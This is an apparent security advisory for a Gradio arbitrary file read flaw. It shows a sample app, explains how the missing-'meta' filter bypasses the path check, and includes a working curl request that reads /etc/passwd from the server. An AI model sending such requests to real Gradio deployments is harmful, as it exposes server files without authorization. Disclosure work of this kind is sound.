Gradio vulnerable to arbitrary file read with File and UploadButton components

Summary

If File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.

Details

Consider the following application where a user can upload a file and preview its content:

import gradio as gr

def greet(value: bytes):
    return str(value)

demo = gr.Interface(fn=greet, inputs=gr.File(type="binary"), outputs="textbox")

if __name__ == "__main__":
    demo.launch()

If we run this application and make the following request (which attempts to read the /etc/passwd file)

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain","meta":{"_type":"gradio.FileData"}}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

Then this results in the following error on the server

gradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.

This is expected. However, if we now remove the "meta":{"_type":"gradio.FileData"} from the request:

curl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{"data":[{"path":"/etc/passwd","orig_name":"test.txt","size":4,"mime_type":"text/plain"}],"event_data":null,"fn_index":0,"trigger_id":8,"session_hash":"mnv42s5gt7"}'

This doesn't cause an error and results in the content of /etc/passwd being shown in the response!

This works because Gradio relies on the processing_utils.async_move_files_to_cache to sanitize all incoming file paths in all inputs. This function performs the following operation

    return await client_utils.async_traverse(
        data, _move_to_cache, client_utils.is_file_obj_with_meta
    )

where client_utils.is_file_obj_with_meta is used as a filter which tells on which inputs to perform the _move_to_cache function (which also performs the allowed/disallowed check on the file path). The problem is that client_utils.is_file_obj_with_meta is not guaranteed to trigger for every input that contains a file path:

def is_file_obj_with_meta(d) -> bool:
    """
    Check if the given value is a valid FileData object dictionary in newer versions of Gradio
    where the file objects include a specific "meta" key, e.g.
    {
        "path": "path/to/file",
        "meta": {"_type: "gradio.FileData"}
    }
    """
    return (
        isinstance(d, dict)
        and "path" in d
        and isinstance(d["path"], str)
        and "meta" in d
        and d["meta"].get("_type", "") == "gradio.FileData"
    )